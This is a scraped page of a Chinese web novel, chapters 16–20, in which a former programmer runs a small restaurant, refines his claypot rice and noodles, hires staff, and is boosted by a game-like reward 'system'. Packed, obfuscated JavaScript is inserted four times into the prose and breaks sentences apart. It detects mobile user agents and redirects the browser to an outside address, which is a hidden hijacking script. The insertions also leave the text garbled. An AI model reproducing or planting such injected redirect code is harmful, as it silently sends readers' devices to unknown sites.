;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17511085|203000||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>中午那波大概接待了五六十个人,下午到现在又来了二十多个。毛收入一千三百多,刨掉食材成本,净赚七百左右。 加上晚上的话,今天破千应该没问题。 开店第一天,净赚一千。 房寨看着这个数字,觉得不太真实。他摆了快两个月的摊,最好的一天也就赚了五百。开店第一天就翻倍了。 但他知道,这是因为开业有活动,加上群里的人捧场。等热度过去了,生意肯定会回落。能稳定在一天赚三四百,他就满足了。 晚上七点多,店里来了一个意想不到的人。 王经理。 房寨正在厨房里炒河粉,听到阿坤喊了一声“寨哥,有人找”,抬头一看,王经理站在门口,手里提着一个果篮。 “王经理?你怎么来了?” “我来看看你。”王经理把果篮放在柜台上,“听说你开店了,过来捧个场。生意怎么样?” “还行,今天人挺多的。” “那就好。”王经理在店里转了一圈,看了看墙上的菜单,看了看桌上的桌布,又看了看厨房里的炉头,“收拾得挺干净的。” “王经理你吃了吗?我给你做一份。” “吃过了,下次吧。”王经理走到门口,回头看了一眼,“好好干,别给咱们公司丢人。” 房寨笑了:“我早就不是公司的人了。” “在我这儿你永远是。”王经理摆了摆手,走了。 房寨站在门口,看着王经理的背影消失在街角。果篮放在柜台上,里面有苹果、橙子、火龙果,红红绿绿的,很鲜艳。 阿坤凑过来看了看果篮:“你前领导?” “嗯。” “人不错啊,还专门来送果篮。” “是挺不错的。” 房寨把果篮收好,回到厨房继续干活。 晚上八点多,最后一波客人走了。店里安静下来,只有冰箱嗡嗡的声音。 房寨把今天的收入又数了一遍,毛收入一千五百多,净赚八百多。比中午预估的少了一些,因为晚上人没那么多。 但他已经很满意了。 他把今天的账记在本子上,在最后写了一行字:“开店第一天,净赚820。煲仔饭反响好,明天多备一些。” 合上本子,他开始收拾厨房。砂锅一个个洗干净,泡在水里。炉头擦干净,灶台抹了一遍。地面扫了拖了,桌椅摆整齐。 关门的时候已经快九点半了。 他站在门口,看着“寨哥儿”三个字在路灯下泛着暖黄色的光。旁边那家店已经关了,整条街暗了下来,只有他的灯还亮着。 房寨锁了门,骑着三轮车往回走。 城中村的巷子里,那几只猫在等他。小橘猫现在不蹲墙头了,直接蹲在他门口,看到他来了,喵喵叫着跑过来。 房寨从口袋里掏出火腿肠,掰碎了丢在地上。 “今天生意不错。”他跟猫说。 猫听不懂,低头吃火腿肠。 “明天还要更早去,要备很多料。” 猫吃完了,舔了舔嘴,蹲在他脚边不走了。 房寨蹲下来,摸了摸它的头。猫的毛很软,体温比人高,摸上去暖暖的。 “要不你跟我进去睡?” 猫看了他一眼,站起来,走到墙角蹲下了。 “行吧,你习惯在外面就在外面。” 房寨上了楼,开门,开灯。灯今天没闪,很稳。 他洗了个澡,躺在床上,把手机打开。 群里有人在发今天店里的照片。有煲仔饭的特写,有酸梅汤的杯子,有门口的气球和彩带,还有一张他炒菜时的背影。照片里的他站在炉头前面,手里拿着锅铲,油烟从锅里冒出来,把他整个人罩在雾气里。 照片下面配了一行字:“认真做事的男人最帅。” 房寨看着这张照片,觉得那个背影不太像自己。太瘦了,也太累了。但那个姿势他很熟悉,那是他每天都在做的动作,锅铲翻动,身体微微前倾,眼睛盯着锅里的菜。 他不知道别人怎么看这张照片,但他自己看了,觉得挺踏实的。 至少,他在做一件自己能做好的事。 17. 第 17 章 开店之后的第三天,房寨遇到了第一个问题。 煲仔饭的锅巴不稳定。 有的客人爱吃焦脆的,有的客人爱吃软一点的,有的客人要厚锅巴,有的客人只要薄薄一层。他没办法同时满足所有人,只能做一个中间版本,结果两边都不讨好。 周三中午来了个大叔,五十多岁,戴着一副老花镜,点了一份腊味煲仔饭。房寨按照标准流程做了,大叔吃到一半把他叫过去。 “小伙子,你这个锅巴不行啊。” 房寨走过去一看,大叔的砂锅里还剩半圈锅巴,颜色偏浅,不够焦。 “太软了。”大叔用勺子敲了敲锅巴,“煲仔饭的灵魂就是锅巴,锅巴做不好,整个饭就废了。” 房寨知道大叔说得对,但他也有苦衷。火候大了怕糊,火候小了怕软,每锅饭的火候都不一样,很难控制。 “我给你重新做一份。” “不用重新做,你听我说。”大叔放下勺子,指了指砂锅,“你煲的时候,水收干之后,沿着锅边淋油,这个你做了。但你知道什么时候淋油最好吗?” 房寨摇了摇头。 “听声音。”大叔侧了侧耳朵,“水干了之后,锅里有滋滋声,那是米饭在结壳。滋滋声最大的时候淋油,油顺着锅壁流下去,锅巴才能炸得脆。你淋早了,油还没到底就蒸发了。淋晚了,锅巴已经糊了。” 房寨愣住了。 这些道理他知道,系统食谱里也写过,但从来没有一个人像这样掰开揉碎了跟他讲。系统给他的知识是死的,大叔讲的是活的。 “你是做厨师的?”房寨问。 “以前做过。”大叔笑了笑,“二十年前的事了,在广东做了十几年煲仔饭,后来不做了。” 房寨想留大叔多聊一会儿,但大叔吃完饭就走了,走的时候说了一句“下次来检查你的锅巴”。 那天晚上,房寨按照大叔说的方法试了好几锅。听声音,找准滋滋声最大的那个瞬间淋油。第一锅淋早了,锅巴太薄。第二锅淋晚了,底糊了。第三锅找到了那个点,锅巴金黄酥脆,厚度刚好,用勺子一铲整片起来,嚼在嘴里嘎嘣响。 他把这锅饭端给阿坤尝。阿坤吃了一口,眼睛亮了。 “就是这个!” 房寨自己也尝了一口,确实不一样了。之前的锅巴要么太硬要么太软,这次的锅巴是脆的,但不是那种硌牙的脆,是咬下去之后在嘴里化开的脆。 他把这个火候点记下来,后面几锅都按这个标准做。连续五锅,每锅的锅巴都差不多,稳定性比以前好多了。 开店第一周,房寨每天都在调整。 菜单上的东西不多,但每一样都有讲究。凉面的酱汁他改了两回,第一回有人嫌太酸,第二回有人嫌太甜,第三回做了两个版本,一个正常酸度,一个少酸,让客人自己选。炒河粉的牛肉腌法他试了三种,最后定下来的是加了一点啤酒的版本,牛肉更嫩,还有一股淡淡的麦香。酸梅汤的配方也微调了,桂花减了量,冰糖加了一点,甜味更突出。 最麻烦的还是煲仔饭。 锅巴的问题解决了,但新的问题又来了。有人嫌米饭太硬,有人嫌太软。有人要加窝蛋,有人不要。有人要多放腊肠,有人要多放腊肉。众口难调,房寨每天都要应付各种各样的要求。 他开始在菜单上加备注:米饭软硬可选,锅巴焦软可选,加窝蛋加两元。这样一来,点单的时候多问几句,但客人的满意度反而提高了。 开店第十天,房寨算了一下账。 十天总营业额七千多,净赚四千左右。平均一天四百块,和摆摊最好的时候差不多,但比摆摊稳定多了。摆摊的时候有时候一天赚五百,有时候一百,起伏很大。开店之后每天的收入都比较平均,没有特别高也没有特别低。 他开始觉得,这个店能活下去了。 开店第二周,房寨遇到了第二个问题。 人手不够。 以前摆摊的时候,他一个人能应付。现在开店了,要备料、要炒菜、要煮饭、要收银、要收拾桌子、要洗碗,一个人根本忙不过来。阿坤白天要上班,只能晚上来帮忙。小刘偶尔来,但他也有自己的工作。 房寨每天早上七点到店里,晚上九点多关门,回去还要备第二天的料,经常搞到十一二点才能躺下。连续十几天这样,身体开始出问题了。 先是手。右手手腕疼,拿锅铲的时候使不上劲。颠勺的时候尤其明显,锅铲一翻,手腕像针扎一样。他买了膏药贴上,能顶一会儿,贴完还是疼。 然后是腰。站久了腰酸,弯腰洗碗的时候最难受,洗完直不起来,要扶着水池缓一缓。 最后是胃。吃饭不规律,有时候忙起来一天只吃一顿,饿过了就不想吃了。胃开始隐隐作痛,不是很严重,但一直不舒服。 阿坤看在眼里,跟他说了好几次:“寨哥,你得请个人了。” 房寨每次都说不急,再等等。他不是不想请,是请不起。一个帮工一个月至少要三千块,他现在一天赚四百,一个月一万二,去掉房租食材,再扣掉三千,就没多少了。 但阿坤说得对,他一个人撑不了多久。 开店第十五天,房寨在群里发了一条消息。 “有没有人想兼职?晚上六点到九点,在店里帮忙,一小时十五块。” 发出去不到十分钟,就有三个人报名。 第一个是个大学生,大二,晚上没课,住得不远。第二个是个刚退休的阿姨,说在家闲得慌,想找点事做。第三个是个年轻妈妈,孩子上幼儿园了,晚上有空。 房寨选了那个大学生,叫小赵,学的是酒店管理,正好专业对口。 小赵来上班的第一天,房寨教他怎么点单、怎么收银、怎么收拾桌子。小赵学得很快,一个晚上就上手了。 有了小赵帮忙,房寨轻松了很多。他可以专心在厨房里做菜,不用再跑来跑去。手腕的疼痛慢慢减轻了,腰也好了一些,至少能直起来了。 开店第二十天,房寨收到了一条系统消息。 【店铺经营系统部分功能已激活。】 【当前解锁:成本核算、菜单优化。】 【建议:添加至少三种新菜品,以提升店铺竞争力。】 房寨点开成本核算,里面自动统计了每种菜品的成本和利润。煲仔饭成本八块五,卖十八,毛利九块五。炒河粉成本六块,卖十二, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17511086|203000||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 毛利六块。凉面成本三块五,卖八块,毛利四块五。酸梅汤成本八毛,卖三块,毛利两块二。 毛利最高的是煲仔饭,最低的是酸梅汤。但酸梅汤销量大,薄利多销,总的利润贡献也不小。 菜单优化功能给出了一些建议:增加一款汤品,增加一款青菜,增加一款甜品。 汤品。 房寨想到了排骨汤。简单,好做,成本不高。可以早上炖一锅,卖一天。 青菜。 白灼菜心或者蚝油生菜,简单快手,利润高。 甜品。 这个他拿不准。双皮奶?杨枝甘露?都太复杂了。他想到了一个更简单的——绿豆汤。夏天喝绿豆汤,解暑又解渴,和酸梅汤搭配着卖。 房寨决定先做排骨汤和蚝油生菜。这两个最简单,不费什么功夫。 第二天,他早起了两个小时,去菜市场买了排骨和冬瓜。排骨焯水,加姜片料酒,炖了一个半小时,最后放冬瓜,再炖二十分钟。汤是清亮的,排骨炖得脱骨,冬瓜入口即化。 他在菜单上加了一行字:冬瓜排骨汤,6元。 蚝油生菜更简单。生菜焯水十秒钟,捞出来装盘,蚝油加一点糖和水调开,浇在上面。成本不到两块,卖五块。 第一个点排骨汤的是个年轻妈妈,带着孩子来的。孩子四岁多,吃饭不老实,跑来跑去的。年轻妈妈点了一份煲仔饭,加了一份汤,把汤里的冬瓜用勺子压碎了拌在饭里喂孩子。 “老板,你这个汤没放味精吧?” “没放,就排骨和冬瓜,加点盐。” “那就好,小孩子不能吃味精。”年轻妈妈喂了孩子一口,孩子嚼了嚼,张嘴要第二口。 她笑了,抬起头看着房寨:“谢谢你啊老板,我家孩子挑食,难得有他爱吃的东西。” 房寨看着那个小孩大口大口地吃饭,心里想,这就是他做这些东西的意义。 不是为了赚钱,虽然赚钱也很重要。 是为了看到这样的画面。一个妈妈不用追着孩子喂饭,一个孩子愿意好好吃一顿饭,一碗汤能让一个人觉得舒服。 这些画面很小,很小很小,小到说出来都觉得矫情。 但房寨觉得,这些小事加起来,就是大事。 开店第二十五天,房寨算了算这个月的账。 从开业到现在,二十五天,总营业额一万八千多,净赚一万出头。 加上系统奖励的房贷减免,这个月一共还了两万多的房贷。 他把这个数字写在记账本的第一页,用红笔画了个圈。 旁边写了一行字:“下个月目标:净赚一万五。” 虽然他知道不一定能实现,但总要定个目标。 定完目标,他开始想下个月要做什么。 新菜品还要继续加,绿豆汤可以上了。煲仔饭的口味也要增加,香菇滑鸡和排骨的都可以试试。店里可以加几张桌子,现在四张不够用,高峰期要排队。 每一样都要钱。 但至少,他现在有收入了。 不像以前那样,每个月工资刚到账就转走,连顿饭都吃不起。 房寨把本子合上,去厨房备料了。 18. 第 18 章 房寨决定做绿豆汤,不是因为系统建议,是因为天太热了。 七月中旬的那个礼拜,气温飙到了三十八度。店里的空调是二手的,制冷效果一般,开着跟没开差不多。客人吃着吃着就出汗,出了汗就不想吃了,不想吃了就走了。 房寨想,得有个能让人凉下来的东西。 酸梅汤已经有了,但酸梅汤是酸的,有的人不爱喝。绿豆汤不一样,绿豆汤是甜的,温润的,谁都喝得惯。 他试了三次才找到合适的做法。 第一次煮得太稠了,绿豆全煮烂了,汤成了绿豆糊,喝起来像在喝粥。第二次煮得不够,绿豆还是硬的,汤是清的,没味道。第三次他用了中火,煮到绿豆刚刚开花就关火,加冰糖,晾凉了放冰箱。 出来的效果刚好。汤是浑浊的淡绿色,绿豆沉在底下,一粒粒的开着花,吃起来软糯但不烂。甜度也刚好,不会腻,喝完嘴里是清爽的。 他定价四块钱一碗。成本大概一块出头,利润还行。 绿豆汤上架的第一天,卖得比酸梅汤还好。 第一个买的是个环卫工人,五十多岁,穿着一身橘红色的工作服,脸上全是汗。他站在门口看了一会儿菜单,犹豫了一下,问绿豆汤多少钱。 “四块。” “来一碗。” 房寨舀了一碗递给他。环卫工人接过去,站在门口一口气喝完,把碗还回来的时候,脸上的表情像是活过来了。 “好喝。”他说,“再来一碗打包,我带回去给我老婆尝尝。” 房寨又舀了一碗,用塑料袋装好,递过去。 “这碗算我请你的。” 环卫工人愣了一下,然后笑了,露出缺了一颗的门牙。 “谢谢你啊小伙子。” 他走了之后,房寨站在门口看了一会儿。外面的太阳很毒,地面晒得发白,热浪从马路上蒸起来,把远处的东西都扭曲了。街上没什么人,连狗都躲在树荫下伸舌头。 这么热的天,那些要在外面跑的人,是真的辛苦。 绿豆汤的销量一天比一天好。到第五天的时候,一天能卖六七十碗,比酸梅汤还多。房寨每天要煮三大锅,从早上煮到中午,锅就没断过火。 有人专门冲着绿豆汤来的。有个老太太,每天都来,一次买两碗,一碗现场喝,一碗带回去给老伴。她说她老伴中风了,走不了路,在家躺着,天热吃不下东西,就喝得下这个绿豆汤。 “你煮得好,不甜不淡,他喝着顺口。”老太太说。 房寨每次看到老太太来,都会多舀半勺,把碗装得满满的。老太太也不说什么,就是笑笑。 绿豆汤出了名,店里的人流量又涨了一截。有的人本来只是路过买碗绿豆汤,闻到煲仔饭的香味就走不动了,坐下来又点了一份饭。房寨发现绿豆汤不但自己能赚钱,还能带动其他菜品的销量。 他想,这就是系统说的“产品组合”吧。 开店满一个月那天,房寨把账算了一下。 总营业额两万三,净赚一万二出头。比上个月摆摊翻了一倍还多。 他把这个数字写在本子上,看了好一会儿。 一个月前,他还在夜市摆摊,每天推着那个咯吱咯吱响的推车,被城管赶来赶去。一个月后,他坐在自己的店里,面前摆着账本,上面写着一万二。 变化太大了,大到他觉得不太真实。 但手腕上的疼是真的,腰上的酸是真的,每天早起晚睡的黑眼圈也是真的。 他知道这一万二是怎么来的。是每天早上七点到店、晚上九点关门、一天站十几个小时换来的。是手指头被砂锅烫了好几个泡换来的。是累到回家倒头就睡、连刷手机的力气都没有换来的。 不容易。 但值。 开店第五周,房寨遇到了一个新问题。 有人在网上发了帖子,说他的店是“网红店”,说排队的人都是托,说东西一般般,全靠营销。 房寨看到这个帖子的时候,正在厨房里洗砂锅。小赵把手机拿给他看,他看完没说什么,把手机还回去,继续洗锅。 他不太在意这些。他卖的是饭,不是口碑。饭好吃,客人自然会来。饭不好吃,说再多也没用。 但阿坤在意。 阿坤在帖子下面跟人吵起来了,吵了几十个来回,最后被管理员禁言了。 “寨哥,你都不生气的吗?”阿坤问他。 “生气有用吗?” “没用,但我就是咽不下这口气。” “那你帮我个忙。”房寨说,“帮我把今天晚上的排骨汤炖了,比吵架有用。” 阿坤愣了一下,然后笑了,系上围裙去炖汤了。 那个帖子后来慢慢沉了,没什么人看了。但店里的人流量确实受到了一点影响,连续几天都比之前少了大概一成。 房寨没太担心。他知道这种东西有起有落,不可能天天爆满。只要他的东西做得好,客人迟早会回来。 果然,过了一个多礼拜,生意又恢复到了之前的水平。 开店第六周,房寨做了一件他一直想做的事。 他把菜单上的价格调了一下。 煲仔饭从十八涨到二十,炒河粉从十二涨到十三,凉面从八块涨到九块。涨幅不大,每样涨一两块钱。酸梅汤和绿豆汤没涨,还是三块和四块。 涨价之前他在群里说了一声,解释了一下原因:房租涨了,食材也涨了,不涨价扛不住。 群里的人大多表示理解。有人说“涨一两块无所谓,好吃就行”。有人说“早就该涨了,你卖得太便宜了”。也有人说“以后少去几次”,但这种人很少。 涨价之后的第一周,生意确实掉了一点。有些人接受不了涨价,不来了。但大部分人还在,还有新客人进来。 一周之后,营业额跟涨价前差不多,但净赚多了一些。因为单价高了,成本没变,利润自然就上去了。 房寨把这个月的目标从一万五调到了一万八。 开店第二个月的第一天,店里来了一个特殊的客人。 是个四十多岁的女人,穿着打扮很普通,但气质不一样,说话慢条斯理的,一看就不是普通客人。 她点了一份腊味煲仔饭,一碗绿豆汤,慢慢吃完,然后走到厨房门口,跟房寨说想聊几句。 “你是老板?”她问。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17511087|203000||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “是。” “我姓陈,做餐饮咨询的。”她递了一张名片过来,“我观察你的店有一段时间了,你的东西做得不错,但店面的运营还有很多可以提升的地方。如果你有兴趣,我可以免费给你做一个诊断。” 房寨接过名片看了看,上面写着一家咨询公司的名字和她的职位。 他不太信这种事。免费的东西往往最贵。 但陈女士没有推销什么,只是让他考虑一下,然后就走了。 阿坤说:“你该让她看看,万一真能帮上忙呢?” 房寨把名片夹在了记账本里,没丢,也没打电话。 开店第二个月的第三周,房寨又做了一道新菜。 香菇滑鸡煲仔饭。 这是客人催了好几次的。腊味煲仔饭虽然好吃,但有人不吃腊味,有人嫌太油腻,想要一个清淡一点的口味。 房寨试了七八次才把配方定下来。鸡腿肉去骨切块,用酱油、料酒、姜片、生粉腌半小时。香菇泡发切片。煲仔饭的米煮到收水的时候,把腌好的鸡肉和香菇铺上去,淋一点泡香菇的水,盖上盖子小火煲。 出锅的时候鸡肉是嫩的,香菇是滑的,汁水渗进了米饭里,比腊味煲仔饭更鲜,但少了腊味那种油润感。 第一个吃到的客人是个二十出头的姑娘,她说她不吃肥肉,腊味煲仔饭里的腊肠太油了,一直没敢点。香菇滑鸡刚刚好,清淡但有味道。 “老板,这个我要给满分。”她说。 【叮!食客评价已录入。满意度:97分。新品解锁奖励:厨艺经验+50。】 香菇滑鸡上架之后,煲仔饭的销量又涨了一截。原来不吃腊味的那批客人现在有东西吃了,整体客流更稳定了。 房寨开始在菜单上加第三个煲仔饭口味——排骨。 排骨的做法和香菇滑鸡类似,但要加豆豉和蒜末,味道更重一些。他试了几次,排骨要么不够烂,要么太烂了脱骨。最后找到窍门:排骨要先焯水去腥,再用压力锅压十分钟,然后再放到煲仔饭里煲。这样做出来的排骨软烂入味,骨头一抽就出来,肉在嘴里就化。 三个口味,三种风格。腊味的浓郁,滑鸡的清淡,排骨的咸香。不同口味的人都能找到自己喜欢的。 房寨觉得,菜单做到这个程度,暂时够用了。 开店第二个月的月底,房寨算了算账。 这个月的总营业额比上个月多了将近五千块,净赚一万七千多。离他定的一万八的目标差了不到一千块。 虽然没达到,但他已经很满意了。 他把这个月的收入情况发到了群里,不是为了炫耀,是想让那些从一开始就支持他的人知道,他们的支持没有白费。 群里的人比他还高兴。 “寨哥儿牛逼!” “从摆摊到开店,两个月,太励志了。” “我就说寨哥儿能行!” 房寨看着这些消息,想起两个月前的自己。那时候他还在公司写代码,每天吃蛋炒饭,每天晚上躺在床上盯着灭掉的灯泡发呆。 他从来没想过自己会开店。 也从来没想过自己会这么喜欢开店。 19. 第 19 章 小赵干满一个月的时候,找房寨谈了件事。 他想要转全职。 “老板,我下学期课少,周一到周三全天没课,周四到周六上午也没课,就周六下午和周日上午有课。”小赵掰着手指头给他算算,“我能从中午十一点干到晚上八点,中间不休息,你按全职给我算工资就行。” 房寨算了算,小赵现在兼职,一天干三个小时,一小时十五块,一天四十五,一个月一千三百多。转全职的话,一天干八九个小时,按一小时十五块算,一个月要四千多。 他有点犹豫。 不是小赵不值这个钱,是他怕自己付不起,毕竟他也不是什么大老板。 小赵看他在犹豫,又说了一句:“老板,我不要那么多,一个月三千就行,包吃。” 房寨看着小赵。这小伙子干活利索,人也机灵,客人反映都挺好。他一个人确实忙不过来,尤其是中午和晚上的高峰期,厨房里忙得脚打后脑勺,小赵在外面又要点单又要收银又要收拾桌子,有时候还要进来帮忙端菜。一个人干三个人的活,拿的却是兼职的工资。 “三千五。”房寨说,“包吃。” 小赵笑了:“行。” 从那天起,小赵成了店里第一个正式员工。 有了小赵全职,房寨轻松了不少。他可以专心在厨房里做菜,不用再分心管外面的事。小赵把前台管得井井有条,点单上菜收银收拾一条龙,偶尔还能帮房寨洗个菜切个葱。 房寨开始有时间琢磨新东西了。 绿豆汤和酸梅汤卖得好,但他觉得还缺点什么。夏天快过去了,到了秋天,凉面就不好卖了,得有个新东西顶上来。 他想到了汤面。 不是阳春面那种清汤寡水的,是带浇头的。红烧牛肉面、排骨面、炸酱面,这些都是大众口味,接受度高,做起来也不复杂。 房寨先从红烧牛肉面开始试。 牛肉要牛腩,肥瘦相间的,炖出来才香。焯水去腥,锅里炒糖色,下牛肉翻炒,加酱油料酒八角桂皮香叶,加水炖两个小时。炖出来的牛肉软烂入味,汤头浓郁红亮。 面条他用的是碱水面,比普通面条劲道。煮好面,浇上一大勺牛肉和汤,撒上葱花和香菜。 第一碗试吃的是阿坤。 阿坤吃了一口,嚼了嚼,没说话,又吃了一口。 “寨哥,这个面……你打算卖多少钱?” “十五吧。” “太便宜了。”阿坤放下筷子,“你这个牛肉给这么多,十五块你亏死了。最少十八。” 房寨算了算成本,牛腩一斤四十多,一碗面放二两肉,光肉的成本就八块多,加上面条、汤料、人工、房租,卖十五确实不赚什么钱。 “那就十八。” 阿坤又吃了几口,把汤都喝了,放下碗的时候嘴角还沾着汤汁。 “这个面,绝对能火。”他笃定地说。 红烧牛肉面上架那天,房寨在群里发了个预告,配了一张图。图里的面碗冒着热气,牛肉块堆得冒尖,汤汁红亮,葱花翠绿。群里的人看到图就疯了,有人说“寨哥儿你这是要干嘛想馋死我们吗”,有人说“我中午就去给我留一碗”,还有人说“十八块太便宜了外面卖二十五的都没你这个料足”。 中午十一点半,第一碗红烧牛肉面端出去的时候,店里已经坐满了人。小赵在外面喊号,声音都哑了。 那个中午,房寨卖了将近四十碗面。牛肉炖了两锅,全部卖光。有人吃完面把汤都喝干了,有人加了两回面,有人打包了三碗带回去。 接下来的几天,红烧牛肉面成了店里的新招牌。有人专门从城北开车过来吃,有人一周来三次,有人吃完发朋友圈又带来一波新客人。 房寨又加了排骨面和炸酱面。排骨面用的是炖排骨的汤底,比牛肉面清淡一些,适合不吃辣的人。炸酱面是老北京的做法,黄酱甜面酱按比例调,肉丁要肥瘦相间,炸酱的时候小火慢熬,熬到油酱分离。 三个口味的面,加上三个口味的煲仔饭,再加上炒河粉、凉面、绿豆汤、酸梅汤,菜单已经快写不下了。 小赵建议他做个正式的菜单,印刷的那种,不要用卡纸手写了。 房寨想了想,花了三百块钱找打印店印了五百份菜单。铜版纸,彩色印刷,上面有每道菜的图片。图片是他自己用手机拍的,不太专业,但胜在真实。菜单印好的那天,房寨拿在手里翻来覆去看了好几遍。这是他自己的店,自己的菜单,自己的菜。这种感觉,比拿到大学毕业证还踏实。 开店第三个月,房寨遇到了一个新的问题。 食材成本涨了。 猪肉涨了百分之二十,牛肉涨了百分之十五,连大米都涨了一点。房寨去菜市场买菜的时候,熟悉的摊主跟他说:“小伙子,下周可能还要涨。” 房寨算了一下,如果食材价格继续涨,他不涨价的话,利润就要被压缩。但如果涨价,客人可能会有意见。 他想了几天,决定不涨。 不涨的原因有两个。第一,他现在虽然赚得不算多,但也不亏。利润压缩一点还能接受。第二,他觉得客人都是老熟人了,人家支持他开店,他不能因为成本涨了就马上涨价,那样显得太急功近利了。 但成本的压力是实实在在的。房寨开始在采购上想办法。 以前他买牛肉都是在一家买,现在他跑了好几个菜市场,对比价格和质量。有的摊位便宜但肉不好,有的肉好但贵。最后他找到了一家刚开业的肉铺,老板是个年轻小伙子,肉的质量不错,价格也比别家便宜一成。 “老板,我长期在你家拿货,能不能再便宜点?” 年轻老板想了想:“行,你量大的话,我给你再便宜五个点。” 房寨把牛肉的采购成本降了下来,猪肉也找了新的供应商。虽然降得不多,但一个月算下来也能省好几百块。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17511088|203000||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >绿豆和乌梅他换成了批发的,一次买一个月的量,比零买便宜不少。他专门在城中村租了一个小仓库,一个月三百块,用来存放这些干货。 店里的生意越来越好,但房寨越来越忙。 早上七点到店,备料两个小时。九点开始炖牛肉、排骨、高汤。十点半开始有人来,一直忙到下午两点。下午两点到五点稍微轻松一点,但不能休息,要准备晚上的料。晚上五点到八点又是高峰期。八点之后客人少了,但还要收拾厨房、洗碗、打扫卫生、倒垃圾。九点多关门,回到家十点,洗个澡躺下就十一点了。 一天站十几个小时,腿肿了,脚底板起了茧子,右手手腕的膏药就没断过。 阿坤说他瘦了,上秤一称,掉了八斤。 他本来就不胖,再掉八斤就有点吓人了。颧骨凸出来了,锁骨也明显了,T恤穿在身上空荡荡的。 “寨哥,你得注意身体。”阿坤说,“你现在不是一个人了,你还有小赵,还有店,你要是倒下了,这些都完了。” 房寨知道阿坤说得对。但他停不下来。店里就两个人,他和小赵。小赵已经干得很拼了,他总不能比小赵还闲吧。 他试着调整了一下作息。晚上尽量十一点之前睡,早上六点半起,比之前多睡一个小时。中午客人少的时候,他靠在厨房的椅子上眯一会儿,哪怕闭眼十分钟也行。 身体稍微好了一点,但还是累。 有一天晚上,房寨正在厨房里炒河粉,忽然觉得头晕。不是那种天旋地转的晕,是那种眼前发黑、脚底下发软的晕。他扶着灶台站了一会儿,等那股劲儿过去。 小赵在外面喊他:“老板,三号桌加一份排骨煲仔饭。” “好。” 他应了一声,但手还在抖。 他深吸了一口气,把锅铲握紧了,开始炒那份河粉。 那天晚上回到家,他躺在床上,盯着天花板。灯没闪。他忽然想起来,他已经很久没有注意过那盏灯闪不闪了。以前那盏灯是他的心病,每天回来都要看它闪不闪,闪了就拍一下。现在他根本想不起来这件事了。 不是灯不闪了,是他不在意了。 他又想起了下午那个客人。一个中年男人,点了红烧牛肉面,吃完之后专门走到厨房门口跟他打招呼。男人说他在附近工地上干活,老家是四川的,在这边干了三年了,三年没回去过。他说房寨做的牛肉面让他想起老家镇上那家面馆的味道。 “我都快忘了那个味道了。”男人说,“今天一吃,想起来了。” 他笑了笑,露出一口被烟熏黄的牙,然后转身走了。 房寨翻了个身,把被子拉到肩膀。明天还要早起,还要炖牛肉,还要煮面,还要面对那些带着各自故事走进店里的客人。有的人开心,有的人难过,有的人想家,有的人饿着肚子。 他做的每一碗面,不只是面。 至少对那些吃的人来说,不只是一碗面。 20. 第 20 章 房寨是在一个普通的周二下午知道那个视频的。 小赵把手机拿过来的时候,他正在切葱。手机屏幕上是一个美食博主的账号,粉丝量后面跟着一串零,房寨数了数,六位数。 “老板,有人来拍你了。” 房寨接过手机看了一眼。视频的封面是他的店门口,“寨哥儿”三个字歪歪扭扭地挂在上面,配了一行大字:城南最隐秘的小店,煲仔饭绝了。 他点开视频。博主是个年轻男的,说话语速很快,镜头晃来晃去的。视频里他从门口拍起,拍到菜单,拍到厨房,拍到房寨炒菜的样子,最后拍到煲仔饭的特写。 “你们看这个锅巴,金黄酥脆,用勺子一铲,整片起来,听到这个声音了吗?嘎嘣脆。” 博主挖了一勺锅巴,对着镜头咬了一口,声音确实很脆。 “再看这个腊肠,油润润的,肥瘦相间,咬下去有汁水。米饭粒粒分明,每一粒都裹着腊味的油香。我跟你们说,我在广州吃了十几年煲仔饭,这家是我吃过最好的,没有之一。” 房寨听到“没有之一”这四个字,觉得有点夸张了。他的煲仔饭确实不错,但要说比广州老字号还好,那是不可能的。他只是一个开了几个月店的小老板,用的也不是什么顶级食材,就是菜市场买的腊肠腊肉,丝苗米也是普通货色。唯一的优势可能是他做得认真,火候控制得仔细,锅巴的脆度刚好。 视频的播放量已经十几万了,下面一千多条评论。 “这家我去过,老板人很好,东西确实好吃。” “那个锅巴的声音,我反复听了五遍。” 